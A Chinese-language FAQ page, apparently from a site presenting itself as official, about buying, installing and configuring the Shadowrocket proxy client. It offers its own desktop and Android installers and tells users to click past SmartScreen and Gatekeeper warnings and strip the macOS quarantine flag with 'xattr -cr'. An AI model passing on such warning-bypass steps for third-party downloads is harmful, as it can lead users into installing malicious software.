[Purchase]
正版与购买
按设备核对获取渠道,再区分客户端、商店购买记录与线路服务。
电脑和安卓能用 Shadowrocket 吗?各平台如何获取?
能。iPhone / iPad 版在 App Store $2.99 一次性付费;Mac / Windows / 安卓 / Linux 版免费。Mac 提供 Apple 芯片版与 Intel 版,其他平台也应按设备选择安装包。先进入下载指南,再选择对应平台;电脑与安卓、Linux 的安装包均由本站 /dl/shadowrocket/ 路径提供。首次安装的系统放行步骤也在下载指南中,不要把其他系统的安装文件直接用于当前设备。
App Store 搜不到 Shadowrocket,应该检查什么?
先打开 Shadowrocket 的 App Store 产品页,确认是商店地区不可用,还是搜索结果未显示。中国大陆商店没有此应用,请核对用于 App Store 的 Apple ID 地区,而不是只改设备语言或系统地区。需要调整时,按系统设置中 Apple ID 的“媒体与购买项目 → 查看账户 → 国家或地区”路径办理,并阅读商店列出的余额、订阅及付款条件;仅切换设备语言不会更改账号所属店面。
如何核对 App Store 中的 Shadowrocket 条目?
核对开发者 Shadow Launch Technology Limited、官方图标和应用 ID 932747118,三项应对应同一产品页。iPhone / iPad 版 App Store $2.99 一次性付费,具体结算以商店页面为准;Mac / Windows / 安卓 / Linux 版免费。不要只凭名称或搜索排序判断,尤其不要把商店中标价免费的同名条目当作该产品。电脑与安卓、Linux 则从本站下载指南进入 /dl/shadowrocket/ 安装包路径。
换机或重装后,怎样恢复已购记录?
在新设备的 App Store 登录原来购买 Shadowrocket 的 Apple ID,再从账户的已购项目或 App 列表中查找并重新下载。设备登录的云端账号与商店购买账号可能不同,找不到记录时先核对实际用于购买的账号及当前店面。恢复客户端不等于恢复全部本地配置,旧设备仍可使用时,应先妥善保存配置与服务器信息,并检查备份是否完整。不要在确认备份前删除旧设备上的数据。
iPad 能安装吗?与 iPhone 的购买如何对应?
可以,iPhone 与 iPad 使用同一个 App Store 产品条目;使用原购买账号时,可按已购记录在两种设备上获取。iPhone / iPad 版 App Store $2.99 一次性付费,Mac / Windows / 安卓 / Linux 版免费;iPhone 与 iPad 的系统要求以 App Store 页面标注为准。安装后仍需导入自己的订阅或服务器信息,并在该设备上确认 VPN 配置授权,不能仅凭另一台设备已连接就判断当前设备也已完成设置。
获取客户端后,为什么还需要订阅或服务器信息?
客户端一次性买断 ≠ 线路套餐。Shadowrocket 用于管理连接参数、配置文件与规则,客户端的获取本身不包含可直接使用的远端服务器。本文以你已有订阅或服务器信息为前提,订阅链接从你的服务商处获取。本站是官网与官方手册,不提供、不销售、不推荐节点或订阅。导入前应区分订阅链接、单条分享链接和 Config 配置文件,三者用途不同,不能仅按文本外观混用。
[Install]
安装与首次打开
先确认系统与架构,再处理安装权限。系统提示与组织管理策略应分别检查。
Mac 应该选 Apple 芯片版还是 Intel 版?
打开 Apple 菜单中的“关于本机”,查看显示的是“芯片”还是“处理器”。显示 Apple 芯片时选择 Apple 芯片版,显示 Intel 处理器时选择 Intel 版,不按机身外观或购买年份猜测。将对应 dmg 中的 Shadowrocket 放入 Applications 后再打开;若出现“无法验证开发者”,核对下载来源后到“系统设置 → 隐私与安全性”选择“仍要打开”。完整下载与放行步骤见下载指南。
Windows SmartScreen 提示风险,如何继续检查与安装?
先确认文件来自本站下载指南,下载路径属于 /dl/shadowrocket/,并确认选择的是 Windows 安装包。SmartScreen 显示拦截提示时,可展开“更多信息”查看文件信息,核对后选择“仍要运行”,再按安装向导操作。不要为了安装而长期关闭系统防护。如果设备由单位管理、按钮不可用或策略明确禁止运行,应先联系设备管理员处理,不要反复更改策略;提示的具体措辞可能随 Windows 设置而不同。
Mac 提示“已损坏”或无法打开,怎么处理?
先确认芯片版本正确、文件已完整下载,并将 Shadowrocket 放入 /Applications。对于“无法验证开发者”,优先在“系统设置 → 隐私与安全性”中选择“仍要打开”。若确认来自本站安装包,仍提示“已损坏”,可在 Terminal 执行 xattr -cr /Applications/Shadowrocket.app 后重新打开。该命令只针对指定应用目录,不要把路径扩大到整个磁盘;若提示权限或组织策略限制,先检查应用位置与设备管理要求。
安卓 apk 无法下载或安装,应该怎么操作?
从下载指南选择安卓 arm64 apk;若在微信内点开后没有开始下载,使用页面菜单改用系统浏览器打开。安装时按系统提示,为实际执行安装的浏览器或文件管理器开启“允许安装未知应用”,完成后可收回该权限。该授权只应给本次使用的应用,不必对所有应用开启。若仍提示安装失败,检查设备架构、剩余空间和下载是否完整,并先保存已有配置,再判断是否存在旧安装冲突。
Linux 的 deb、rpm 与 AppImage 怎么选?
根据发行版的软件包体系选择:使用 deb 的系统选 deb,使用 rpm 的系统选 rpm;需要独立文件运行方式时查看 AppImage。下载后进入文件所在目录,deb 可用 sudo apt install ./Shadowrocket.deb 安装;文件名不同时,应替换为实际下载的文件名。AppImage 需先用 chmod +x Shadowrocket.AppImage 赋予执行权限再运行。软件安装权限、依赖和桌面集成受发行版影响,报错时先阅读终端输出,不要连续重复执行。
首次连接的开关打不开,VPN 授权在哪里确认?
先确认 Home 中已有可选择的服务器,再尝试开启连接。iPhone / iPad 首次连接会请求添加 VPN 配置,应按系统提示允许,并完成设备密码或身份验证;如果刚才取消了,返回客户端重新触发。仍无法开启时,检查系统的 VPN 与设备管理设置,以及是否有其他 VPN 连接占用。受管理设备可能禁止新增配置,不要删除不明的组织配置。授权成功只说明系统允许建立连接,后续还要验证服务器与规则。
按平台查看完整步骤:安装放行说明。
[Subscribe]
订阅与节点导入
从你的服务商处获取已有订阅,区分导入、更新与连接测试。识别成功不等于连接已验证。
订阅链接应该怎样导入?
从你的服务商处获取订阅链接,在 Home 打开 Add Server,选择 Subscribe 后粘贴完整地址并保存,再执行更新。粘贴前后检查是否混入空格、换行、引号或聊天软件附加的说明文字;完整链接可能包含查询参数,不能只保留域名。导入后确认服务器列表已经出现条目,再选择实际要连接的服务器。订阅地址可能含访问凭据,排查时不要把完整链接贴到公开截图、文章评论或共享配置中。
订阅导入失败或列表为空,先查哪些位置?
先区分“地址无法访问”和“返回内容无法识别”。检查复制的是否为订阅地址,而不是账户网页、说明页面或单条分享链接;再确认当前网络可访问该地址、订阅仍有效且服务器返回的是客户端支持的内容。网页能打开不代表内容格式正确,返回登录页也无法作为订阅解析。若出现错误提示,记录提示文字和发生阶段,再向你的服务商核对地址及格式。重新尝试前保留现有条目,避免误删仍可用的配置。
单条分享链接、二维码与手动 Add Server 有什么区别?
单条分享链接通常描述一个服务器,二维码也可能只是同一段链接的编码;使用 Scan QR Code 后,应检查识别结果属于服务器还是订阅。手动 Add Server 则需要逐项填写协议、地址、端口及相应认证参数。三种方式都要核对协议类型,不能因为地址和端口相同就省略 TLS、SNI 或传输设置。导入成功后先查看字段是否齐全,再保存与测试;单条服务器不会自动具备订阅列表的更新关系。
如何更新订阅?更新后为什么条目发生变化?
在 Home 找到对应 Subscribe 条目并执行更新,完成后查看列表与当前选中项。更新以订阅返回的内容为准,服务器可能新增、改名或被移除,所以更新后要重新确认所选条目仍存在,不应只看原名称。更新服务器列表与切换 Config 是两件事,不能认为订阅更新后所有规则也随之改变。若本地修改了订阅生成的参数,更新可能覆盖这些内容;需要保留时先记录差异,并核对服务商提供的原始参数。
Trojan 导入成功但连接失败,哪些参数容易填错?
逐项核对服务器地址、端口、密码、SNI 与 TLS 设置,参数以你已有的服务器信息为准。服务器地址用于连接目标,SNI 用于 TLS 握手,两者不一定相同;复制密码时也应检查首尾空格。证书相关错误应先核对 SNI、设备时间与服务端证书,而不是直接启用 Allow Insecure。导入完成仅代表客户端识别了字段,并不能证明远端服务可达或认证正确。每次只改一个字段,保留修改前的值以便回退。
Config 配置文件与 Subscribe 订阅为什么不能互相替代?
Subscribe 主要用于获取和更新服务器列表,Config 用于组织连接行为与规则,例如 [General]、[Rule]、[Host] 等段落。把服务器订阅当作配置文件导入,或者把完整规则文件当作服务器地址粘贴,都可能解析失败。先确认手中内容的类型,再进入对应入口;切换配置后还要确认当前选中的 Config。配置可能改变 DNS 与请求走向,导入陌生内容前应阅读关键段落,并保存当前配置作为回退依据。
需要连续操作步骤时,查看订阅导入与首次连接教程。
[Rule]
规则与故障排查
按基础网络、服务器连接、DNS 与规则顺序逐层检查。保留对照条件,避免同时更改多项设置。
Global Routing 的配置、代理、直连三种姿态怎么选?
配置对应 Config,按当前配置中的规则决定请求走向;代理对应 Proxy,主要用于让请求经所选服务器转发;直连对应 Direct,用于直接连接目标。日常需要规则分流时使用 Config,排查时可暂时切换 Proxy 或 Direct 对照结果。这里的界面姿态与规则中的 PROXY、DIRECT 策略有关,但不是同一个设置入口。每次对照使用相同目标与网络条件,完成测试后恢复原姿态,避免把临时排查设置长期保留。
已经显示连接,为什么网页仍然打不开?
先关闭连接检查基础网络,再开启连接并确认选中了预期服务器。连接状态只表示本地连接流程已建立,不保证远端转发、DNS 或目标网站均正常。接着用 Connectivity Test 检查可达性,并在相同目标下对照 Config 与 Proxy 的结果:只有 Config 异常时优先检查规则;两者都异常时再核对服务器参数、订阅状态和网络。若只有一个网站失败,记录其域名与错误表现,不要直接重置全部配置。
规则为什么没有按预期生效?FINAL 应该放在哪里?
先确认 Global Routing 为 Config,并检查正在使用的配置文件。规则按顺序匹配,前面已命中的规则会决定策略,后续更具体的规则就不会再参与该请求的选择。例如 DOMAIN-SUFFIX,example.com,PROXY 应放在 FINAL,DIRECT 之前,FINAL 用于前序规则都未命中时的兜底。还要区分 DOMAIN 的精确匹配与 DOMAIN-SUFFIX 的后缀匹配。修改后保存并重新发起目标请求,结合连接记录核对命中规则,而不是仅观察页面是否打开。
界面是英文,应该从哪些入口开始?
先按任务定位:Home 查看服务器与连接,Add Server 添加条目,Subscribe 管理订阅,Config 选择配置,Global Routing 选择配置、代理、直连姿态,Settings 查看设置。手册保留这些界面词,便于逐项对应,不会把英文名称替换成另一套按钮名称。系统语言、应用语言设置及平台差异可能影响实际显示;若界面与步骤不完全一致,先确认当前平台与页面入口,再到术语手册查对应功能,不要仅按图标位置猜测。
持续连接时耗电增加,怎样定位原因?
先在系统电池统计中查看同一时段的使用情况,并区分前台操作、后台流量和弱信号网络。持续传输、大量连接、频繁重试或长时间详细记录,都可能增加耗电,不能只凭 VPN 标识判断原因。可在相近网络条件下分别观察空闲与实际使用场景,再检查服务器是否反复断开、测试任务是否持续运行。每次只调整一项并记录结果;On Demand 适合按条件连接,但设置不当导致频繁重连时也应重新检查触发条件。
On Demand 自动连接不符合预期,应该检查什么?
先在 Settings 中核对 On Demand 是否启用,以及已设置的网络条件是否符合当前环境。它依据系统与配置条件触发连接,并不负责判断每个网站应该使用哪条规则;请求走向仍由 Global Routing 与 Config 决定。排查时先临时关闭 On Demand,验证手动连接是否正常,再逐项恢复条件并切换网络观察。若刚手动关闭连接就再次连接,优先检查自动触发条件;受系统或设备管理策略影响时,还需查看系统 VPN 设置。